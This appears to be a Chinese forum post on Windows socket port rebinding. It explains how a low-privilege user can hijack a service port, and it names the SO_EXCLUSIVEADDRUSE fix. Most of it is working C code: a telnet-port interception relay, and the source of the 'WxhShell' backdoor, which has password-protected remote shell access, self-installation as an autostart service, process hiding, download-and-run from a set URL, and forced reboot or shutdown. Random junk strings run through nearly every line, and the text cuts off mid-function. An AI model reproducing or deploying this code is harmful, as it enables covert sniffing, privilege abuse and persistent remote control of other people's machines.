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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2g0_[$[m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yyZs[5Q  
QVT|6znw  
  saddr.sin_family = AF_INET; RX])#=Cs  
PvHX#wJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I= '6>+P  
5`>%{ o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rl/]Ym4j  
_|^cudRv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,M?K3lG\g[  
*OM+d$l!  
  这意味着什么?意味着可以进行如下的攻击: OdSglB  
8bTE# 2+-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vyS8yJUY  
.#Vup{.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Al}D~6MD  
Sv#S_jh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b=$(`y  
UiE 1TD{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bjc<d,]  
wf`e3S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y'&rSHI"  
,#V }qSKUS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1#Q~aY  
4QZ|e{t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pB;8yz=  
59k[A~)~  
  #include XbaUmCuh  
  #include cqd}.D  
  #include $:}sm0;  
  #include    z%lLbKSe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i8nzPKF2$3  
  int main() BbC aIt  
  { +{b3A@f|F  
  WORD wVersionRequested; ]yAOKmS  
  DWORD ret; ,v@C=4'm  
  WSADATA wsaData; bc3 T8(  
  BOOL val; =zsA@UM0  
  SOCKADDR_IN saddr; EK 8rV  
  SOCKADDR_IN scaddr; k1_" }B5  
  int err; N+nv#]{  
  SOCKET s; VRQD  
  SOCKET sc; hVGK%HCz&  
  int caddsize; @9AK!I8f  
  HANDLE mt; ]1)#Y   
  DWORD tid;   )RCva3Ul  
  wVersionRequested = MAKEWORD( 2, 2 ); yM PZ}  
  err = WSAStartup( wVersionRequested, &wsaData ); zd0 [f3~  
  if ( err != 0 ) { 38zG[c|X  
  printf("error!WSAStartup failed!\n"); /w/um>>K.  
  return -1; GNX`~%3KYc  
  } -qs R,H  
  saddr.sin_family = AF_INET; L"[>tY  
   >HRL@~~Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0 zn }l6OS  
qe_qag9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h8 !(WO!  
  saddr.sin_port = htons(23); ^3O`8o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {8e4TD9E0  
  { :pw6#yi8`  
  printf("error!socket failed!\n"); /r?EY&9G  
  return -1; A$1Gc> C  
  } WB|N)3-1  
  val = TRUE; @.8FVF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `gE_u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kP[LS1}*  
  { _xu_W;nh  
  printf("error!setsockopt failed!\n"); FCIA8^}s  
  return -1; +Ua.\1"6  
  } dw YGhhm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6}JW- sA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f7v|N)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 []<N@a6VA>  
DP6>fzsl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3R?6{.  
  { shuoEeoo  
  ret=GetLastError(); r"$~Gg.%(  
  printf("error!bind failed!\n"); kJNu2S  
  return -1; c.{t +OR  
  } j|w_BO 9  
  listen(s,2); L IN$Y  
  while(1) \F8 :6-  
  { q c DJ  
  caddsize = sizeof(scaddr); fl+dL#]  
  //接受连接请求 9R3YUW}s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %T,cR>lw  
  if(sc!=INVALID_SOCKET) tdOox87YK  
  { .`~=1 H\R"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?656P=b)  
  if(mt==NULL) /D,<2>o  
  { Z"N}f ,  
  printf("Thread Creat Failed!\n"); jn._4TQ*}  
  break; d Z P;f^^  
  } `%$l b:e  
  } w\%AR1,rs  
  CloseHandle(mt); tk66Ggi[K  
  } fD~f_Wr  
  closesocket(s); 8c<OX!  
  WSACleanup(); a"!r]=r  
  return 0; +L-(Lz[p  
  }   !)HB+yr  
  DWORD WINAPI ClientThread(LPVOID lpParam) a~w l D.P  
  { 0NMmN_Lr  
  SOCKET ss = (SOCKET)lpParam; ]EfM;'j[  
  SOCKET sc; 9/dI 6P7  
  unsigned char buf[4096]; |*y'H*  
  SOCKADDR_IN saddr; O`TM}  
  long num; UI_u:a9Q/  
  DWORD val; `2a7y]?  
  DWORD ret; f"aqg/l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jl@YBzDfF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8fC 5O  
  saddr.sin_family = AF_INET; D[Kq`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0}wmBSl  
  saddr.sin_port = htons(23); +?ilTU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c^8csQ fG  
  { {O5(O oDa  
  printf("error!socket failed!\n"); c;doxNd6  
  return -1; R=<uf:ca  
  } G~{#%i  
  val = 100; SGUZ'}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '"]QAj?N  
  { B j z@X  
  ret = GetLastError(); j% Wip j;c  
  return -1; I9hZ&ed16  
  } dw3H9(-lp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u$ a7  
  { Lem:zXj  
  ret = GetLastError(); ?vg|;Q  
  return -1; gh<2i\})'  
  } jPmp=qg"q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0/fA>%&  
  { *x@.$=NF"  
  printf("error!socket connect failed!\n"); XpT+xv1`;  
  closesocket(sc); R@lA5w  
  closesocket(ss); 2T3b6  
  return -1; ~vw$Rnotz  
  } [z r2\(  
  while(1) N(Xg#m   
  { Qt"i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9k3RC}dEr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gi JjE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j7 \y1$w  
  num = recv(ss,buf,4096,0); nrJW.F]S8[  
  if(num>0) EzGO/uZ]  
  send(sc,buf,num,0); *4O9W8Qz  
  else if(num==0) yBnUz"  
  break; ^wMZG'/  
  num = recv(sc,buf,4096,0); x2Dg92  
  if(num>0) B; r` 1 G  
  send(ss,buf,num,0); ?7\$zn)v#  
  else if(num==0) *5q_fO  
  break; w~Jy,[@n  
  } k@9CDwh*s  
  closesocket(ss); sg8j}^VI  
  closesocket(sc); %^}|HG*i??  
  return 0 ; ^-dhz88wV  
  } /5j]laYK)  
a4x(lx&  
MBO>.M$B  
========================================================== xM D]b  
^ SW!S_&Z2  
下边附上一个代码,,WXhSHELL +a74] H"  
*s (L!+  
========================================================== DUWSY?^c  
aSQvtv)91  
#include "stdafx.h" |s, Add:S  
j[Oh>yG  
#include <stdio.h> /<)kI(gf  
#include <string.h> Mo0pN\A}h  
#include <windows.h> 9 M!U@>  
#include <winsock2.h> K%3{a=1  
#include <winsvc.h> <iN xtD0  
#include <urlmon.h> \) vI-  
;)'  
#pragma comment (lib, "Ws2_32.lib") }J(o!2.  
#pragma comment (lib, "urlmon.lib") 9y`Vg  
CkEbSa<)hK  
#define MAX_USER   100 // 最大客户端连接数 r"=6s/q7  
#define BUF_SOCK   200 // sock buffer ;Ff5ooL{  
#define KEY_BUFF   255 // 输入 buffer nPj &a  
&0JCZ /e  
#define REBOOT     0   // 重启 nx|b9W<  
#define SHUTDOWN   1   // 关机 "XWO#,Ue  
zz1]6B*eX  
#define DEF_PORT   5000 // 监听端口 1D2Yued  
,&0iFUwN_  
#define REG_LEN     16   // 注册表键长度 Or"+d 5  
#define SVC_LEN     80   // NT服务名长度 Usf7 AS=  
w/Y6m.i1  
// 从dll定义API @{o3NR_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =6< Am  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t[HA86X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %C~LKs5oH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k/.a yLq  
!R3ZyZcX  
// wxhshell配置信息 Y!fgc<]'&  
struct WSCFG { xL} ~R7  
  int ws_port;         // 监听端口 A&7~] BR\  
  char ws_passstr[REG_LEN]; // 口令 +hz S'z)n&  
  int ws_autoins;       // 安装标记, 1=yes 0=no %TS8 9/  
  char ws_regname[REG_LEN]; // 注册表键名 OQ*rxL cA  
  char ws_svcname[REG_LEN]; // 服务名 q+cx.Rc#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r>;6>ZMe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,n/^;. _1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BiCC72oig  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kqt.?iJw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YZQF*fj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]hjA,p@Q  
RinaGeim  
}; *k<{nj@y  
2; ~jKR[~  
// default Wxhshell configuration (sL!nRw  
struct WSCFG wscfg={DEF_PORT, #*x8)6Ct  
    "xuhuanlingzhe", jZP~!q  
    1, [ @`Ki  
    "Wxhshell", 7$|L%Sk  
    "Wxhshell", 6*%E4#4  
            "WxhShell Service", vz}_^8O  
    "Wrsky Windows CmdShell Service", N!YjMx)P  
    "Please Input Your Password: ", oz#;7 ?9  
  1, ,B||8W9  
  "http://www.wrsky.com/wxhshell.exe", Fv2U@n6'v  
  "Wxhshell.exe" I'a&n}j x  
    }; O+*<^*YyD  
x5"F`T>Y  
// 消息定义模块 bYB:Fe=2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~-K<gT/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /4bHN:I]M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z<z\)  
char *msg_ws_ext="\n\rExit."; HG:9yP<,o  
char *msg_ws_end="\n\rQuit."; @&}~r  
char *msg_ws_boot="\n\rReboot..."; {+^qm8n  
char *msg_ws_poff="\n\rShutdown..."; m5KAKpCR,  
char *msg_ws_down="\n\rSave to "; OYayTKxN  
iK=SK3)vR  
char *msg_ws_err="\n\rErr!"; ;vLg4k  
char *msg_ws_ok="\n\rOK!"; tk~<tqMq  
PYJ8\XZ1_N  
char ExeFile[MAX_PATH]; 5`O af\S  
int nUser = 0; H*VZ&{\7  
HANDLE handles[MAX_USER]; >TB Rp,;r  
int OsIsNt; m8C scC Z}  
Mi2l BEu,  
SERVICE_STATUS       serviceStatus; uZkh.0yB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _MST8  
p!RyxB1.|  
// 函数声明 $hE,BeQ  
int Install(void); 4}MZB*);0  
int Uninstall(void); NI33lp$V  
int DownloadFile(char *sURL, SOCKET wsh); VVVw\|JB>  
int Boot(int flag); P DtLJt$  
void HideProc(void); J'4V_Kjg-  
int GetOsVer(void); e!.r- v9  
int Wxhshell(SOCKET wsl); NkL>ru!b9  
void TalkWithClient(void *cs); J~(M%] &k^  
int CmdShell(SOCKET sock); -wUw)gJbM  
int StartFromService(void); J4>k9~q  
int StartWxhshell(LPSTR lpCmdLine); ,V{Cy`bi  
U1~6o"1H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +u]L# ].;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R@Bnrk  
V/CZcMY_  
// 数据结构和表定义 v''F\V )  
SERVICE_TABLE_ENTRY DispatchTable[] = 5"o)^8!>  
{ uszH1@g'  
{wscfg.ws_svcname, NTServiceMain}, G'0]m-)dw  
{NULL, NULL} U?sio%`(  
}; ?VP07 dQTe  
H;=++Dh  
// 自我安装 QZ^P2==x  
int Install(void) N9jSiRJ  
{ aK4ZH}XHE"  
  char svExeFile[MAX_PATH]; h Lv_ER?  
  HKEY key; Gp5[H}8K  
  strcpy(svExeFile,ExeFile); A@qwD300Vo  
[|E|(@J  
// 如果是win9x系统,修改注册表设为自启动 =!Ce#p?h,  
if(!OsIsNt) { dPO|x+N,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `ot <BwxJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dlB?/J<  
  RegCloseKey(key); (cLcY%$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kjOPsz*0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p5PTuJ>q  
  RegCloseKey(key); h:l4:{A64  
  return 0; TOvpv@?-  
    } DC6xet{  
  } >p,FAz>  
} W\l"_^d*  
else { _|qs-USA  
WEVV2BJ  
// 如果是NT以上系统,安装为系统服务 /C"?Y'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5U5)$K'OA  
if (schSCManager!=0) ,a1 1&"xl  
{ u&\QZW?  
  SC_HANDLE schService = CreateService ,8/Con|o  
  ( 3D*vNVI  
  schSCManager, ;0 No@G;z  
  wscfg.ws_svcname, zb=L[2;  
  wscfg.ws_svcdisp, >+8Kl`2sw;  
  SERVICE_ALL_ACCESS, cJ#|mzup  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hm+,o_+  
  SERVICE_AUTO_START, B9Y*'hmI  
  SERVICE_ERROR_NORMAL, Sm(t"#dp  
  svExeFile, F3 z:|sTqc  
  NULL, BiI}JEp4o  
  NULL, 2\, h "W(  
  NULL, p@Ng.HE  
  NULL, f1}am<  
  NULL D^jyG6Ch  
  ); Sx|)GTJJ|-  
  if (schService!=0) )Fw{|7@N  
  { xKW`m  
  CloseServiceHandle(schService); [>y0Xf9^  
  CloseServiceHandle(schSCManager); 4~YPLu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rbD}fUg  
  strcat(svExeFile,wscfg.ws_svcname); +M %zOX/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G" &yE.E5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %\ef Mhn  
  RegCloseKey(key); ghu8Eg,Y  
  return 0; yB~` A>~M  
    } =n7 3bm  
  } etk@ j3#  
  CloseServiceHandle(schSCManager); 0X'2d  
} ;\[ el<Y)s  
} Ja(>!8H>@  
[sF z ;Py]  
return 1; oiL^$y/:;z  
} ~:M"JNcs  
s)<^YASg  
// 自我卸载 m\O|BMHn  
int Uninstall(void) c2iPm9"eh  
{ 3$Y(swc  
  HKEY key; ,j|9Bs  
13v#  
if(!OsIsNt) { C% )Xz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mx:)&1  
  RegDeleteValue(key,wscfg.ws_regname); d5z?QI  
  RegCloseKey(key); S+7:fu2?+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zz@0Oj!`  
  RegDeleteValue(key,wscfg.ws_regname); 5C&]YT3 )  
  RegCloseKey(key); A0>u9Bn"Qw  
  return 0; eYD|`)-f<^  
  } `3KXWN`.s  
} _T)G?iv:&  
} 2A^>>Q/,u  
else { 0-!K@#$>=  
'.8E_Jd0E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !f^'-  
if (schSCManager!=0) vn0}l6n3s  
{ eGi[LJ)np  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4gRt^T-?  
  if (schService!=0) RO10$1IW.2  
  { u_~*)w+mS@  
  if(DeleteService(schService)!=0) { (" ,(@nS  
  CloseServiceHandle(schService); Oi~ ]~+2  
  CloseServiceHandle(schSCManager); @C34^\aH+  
  return 0; ^A"TY  
  } `*`@ro  
  CloseServiceHandle(schService); MsL*\)*s  
  } i& ,Wg8#R  
  CloseServiceHandle(schSCManager); +dIO+(&g  
} 0s#`H  
} y:>'1"2`  
@! gJOy  
return 1; Hi{1C"%  
} K4V\Jj1l  
f 4Yn=D=_  
// 从指定url下载文件 Q#} 0pq  
int DownloadFile(char *sURL, SOCKET wsh) Cb5Rr +K=  
{ C ~&~Ano,  
  HRESULT hr; wgeR%#DW  
char seps[]= "/"; qek[p_7  
char *token; 4Sq[I  
char *file; & 1:_+  
char myURL[MAX_PATH]; 4)i(`/U  
char myFILE[MAX_PATH]; :XP/`%:  
M-Tjp'=*  
strcpy(myURL,sURL); kkz{;OW  
  token=strtok(myURL,seps); [-$:XOO  
  while(token!=NULL) {+&qC\YF  
  { ('u\rc2 R  
    file=token; {xGM_vH1  
  token=strtok(NULL,seps); *b@YoQe3!  
  } ?^< E#2a  
c[I4'x  
GetCurrentDirectory(MAX_PATH,myFILE); FYs-vW{  
strcat(myFILE, "\\"); !((J-:=  
strcat(myFILE, file); rh6gB]X]3:  
  send(wsh,myFILE,strlen(myFILE),0); #EO@<> I  
send(wsh,"...",3,0); gq^j-!Q)Q<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #nv =x&g  
  if(hr==S_OK) ("7rjQjRz  
return 0; \:To>A32  
else 0E5"}8  
return 1; =@%Ukrd@  
]&dU%9S  
} (zO)J`z>  
~KW|<n4m  
// 系统电源模块 k\qF> =  
int Boot(int flag) )M!6y%b67  
{ :U}.  
  HANDLE hToken; :&{:$-h!  
  TOKEN_PRIVILEGES tkp; `|Wu\X  
[vJLj>@  
  if(OsIsNt) { I)B+h8l72<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K>tubLYh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "\x<Zg;  
    tkp.PrivilegeCount = 1; #'@pL0dj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8{t^< j$n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zree}VqD;5  
if(flag==REBOOT) { fnwhkL#8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~q.a<B`,t  
  return 0; vIL'&~C\y  
} L>&o_bzp  
else { Qrnc;H9)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Rq.L  
  return 0; 1TagQ  
} <yw6Om:n<  
  } xE2sb*  
  else { &RzkM4"  
if(flag==REBOOT) { WB7pdSZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xn fMx$fD  
  return 0; gB;5&;T:  
} #%;QcDXRe  
else { 5 +Ei! E89  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) us ,!U  
  return 0; /*zngp @  
} )nK-39,G  
} I:ag}L8`  
r}-si^fo;  
return 1; RWe$ZZSz!  
} Q||v U  
N5yt'.d  
// win9x进程隐藏模块 _\d[`7#  
void HideProc(void) W7_j;7'  
{ Em%0C@C  
ZCT\4Llv#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G`_LD+  
  if ( hKernel != NULL ) nD8 Qeem@  
  { iB]xYfQ&@V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lhx"<kR 4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;77#$H8)  
    FreeLibrary(hKernel); -&Cb^$.-x  
  } ","O8'$OC  
:?2@qWaL  
return; YT*_ vmJV  
} [eb?Fd~WB]  
s#8mD !T|  
// 获取操作系统版本 R 2{kS  
int GetOsVer(void) hnk,U:7}  
{ OzVCqq"]  
  OSVERSIONINFO winfo; H'Oy._,]t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )}/ ycTs  
  GetVersionEx(&winfo); ]tjQy1M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u["3| `C5  
  return 1; %`M IGi#  
  else wNk 0F7Ck  
  return 0; 0gLl>tF[H  
} _i/x4,=xv  
(mNNTMe  
// 客户端句柄模块 0:CIM  
int Wxhshell(SOCKET wsl) a7]wPXKq  
{ nRE(Rb Re  
  SOCKET wsh; Q.]$t 2J  
  struct sockaddr_in client; s9Tp(Yr,k  
  DWORD myID; ""; Bq*Y#  
nmH1Wg*aW  
  while(nUser<MAX_USER) sRMz[n 5k  
{ _5t~g_(1OK  
  int nSize=sizeof(client); +;T `uOF}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &}:]uC  
  if(wsh==INVALID_SOCKET) return 1; ;*H@E(g  
D?Mj<||  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hR g?H  
if(handles[nUser]==0) /:+f5\"-b  
  closesocket(wsh); fLtN-w6t  
else j$<sq  
  nUser++; Z7="on4  
  } \Nvu[P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }MCh$  
iF_#cmSy$  
  return 0; 3tt3:`g  
} <T3v|\6~H  
c*k%r2'  
// 关闭 socket ]T?Py)  
void CloseIt(SOCKET wsh) 8JFns-5  
{ <Lt%[dn  
closesocket(wsh); ]52.nxs~  
nUser--; MJzY|  
ExitThread(0); x$:P;#  
} --> ~<o  
g5YDRL!Wh  
// 客户端请求句柄 #80 [q3  
void TalkWithClient(void *cs) -lb,0   
{ 5}+&Em":  
yMd<<:Ap  
  SOCKET wsh=(SOCKET)cs; o#^(mGj_.  
  char pwd[SVC_LEN]; Bh#?:h&f  
  char cmd[KEY_BUFF]; KkIgyLM  
char chr[1]; 6XFLWN-)  
int i,j; Bp7`W:?# "  
YV{^2)^  
  while (nUser < MAX_USER) { Ue=Je~Ri;9  
+=V[7^K;  
if(wscfg.ws_passstr) { vGX}zzto  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $$5E+UDOs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ik\n/EE  
  //ZeroMemory(pwd,KEY_BUFF); Z]QpH<Z  
      i=0; '&;s32']}  
  while(i<SVC_LEN) { oy _DYop  
<27:O,I  
  // 设置超时 .:b&$~<  
  fd_set FdRead;  Fhk 8  
  struct timeval TimeOut; >iKbn  
  FD_ZERO(&FdRead); O 7Z?y*  
  FD_SET(wsh,&FdRead); Nueb xd  
  TimeOut.tv_sec=8; UG!528;7  
  TimeOut.tv_usec=0; , S }  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xpU7ZY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l9P=1TL  
p9(|p Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _=\J:r|Y:  
  pwd=chr[0];  EL$"/ptE  
  if(chr[0]==0xd || chr[0]==0xa) { \Zgc [F  
  pwd=0; %$*WdK#  
  break; }3TTtd7  
  } :;g7T-_q  
  i++; nj (\+l5  
    } C5F=J8pY  
9K6G%  
  // 如果是非法用户,关闭 socket @~+W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QyEGK  
} %0gcNk"=  
}t FRl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M}S1Zz%Ii1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); om1@;u8u  
dc+U #]tS  
while(1) { WSKubn?7B  
@CUYl*.PD  
  ZeroMemory(cmd,KEY_BUFF); e|e"lP  
kR !O-@GJ]  
      // 自动支持客户端 telnet标准   6/=0RTd  
  j=0; J6C/`)+w  
  while(j<KEY_BUFF) { LFskNF0X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $SbgdbX  
  cmd[j]=chr[0]; nkxv,_)ZT  
  if(chr[0]==0xa || chr[0]==0xd) { <Crbc$!OeX  
  cmd[j]=0; JnY.]:  
  break; KB$S B25m  
  } yP^C)  
  j++; Pe,:FIp,  
    } 0|=,!sY  
`mE>h4  
  // 下载文件 SmUj8?6"  
  if(strstr(cmd,"http://")) { !LX)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NRI @M5  
  if(DownloadFile(cmd,wsh)) QE Q/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ng6".u9  
  else ]=28s *@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iU/v; T(  
  } f =MP1q[  
  else { O,[9E  
>oGs0mej  
    switch(cmd[0]) { =A]*r9  
  sd,KB+)  
  // 帮助 WcOnv'l,  
  case '?': { +.2O Z3(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q ^{XM  
    break; Rh :|ij>B  
  } "2=v:\~=  
  // 安装 B~h3naSe  
  case 'i': { _g2"D[I%  
    if(Install()) *mjPNp'3{m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N!~5S`  
    else W' Y?X]xr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Sr=|j  
    break; ) -^(Su(!  
    } @j`gx M_-O  
  // 卸载 ?e#bq]  
  case 'r': { xiy=D5N.=  
    if(Uninstall()) *w`_(X f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s|[CvjL#0  
    else w\zNn4B})A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *w OU=1+  
    break; _PPn =kuMa  
    } EGysA{o"X  
  // 显示 wxhshell 所在路径 EpU}~vC9C  
  case 'p': { )_a;xB` S(  
    char svExeFile[MAX_PATH]; k~XDwmt;  
    strcpy(svExeFile,"\n\r"); ''?iJFR  
      strcat(svExeFile,ExeFile); ^:u-wr8?{  
        send(wsh,svExeFile,strlen(svExeFile),0); :LxsiDrF[  
    break; EpCF/i?9:  
    } P\ia ?9  
  // 重启 j_{f(.5  
  case 'b': { qHl>d*IZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r]=Z :  
    if(Boot(REBOOT)) =oT4!OUf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qx1+'  
    else { ^e{]WH?  
    closesocket(wsh); zhgvqg-  
    ExitThread(0); \OW.?1d  
    } ^u:bgwP  
    break; _lBHZJ+  
    } hlBMRx49  
  // 关机 ,}:}"cl  
  case 'd': { \k9]c3V  
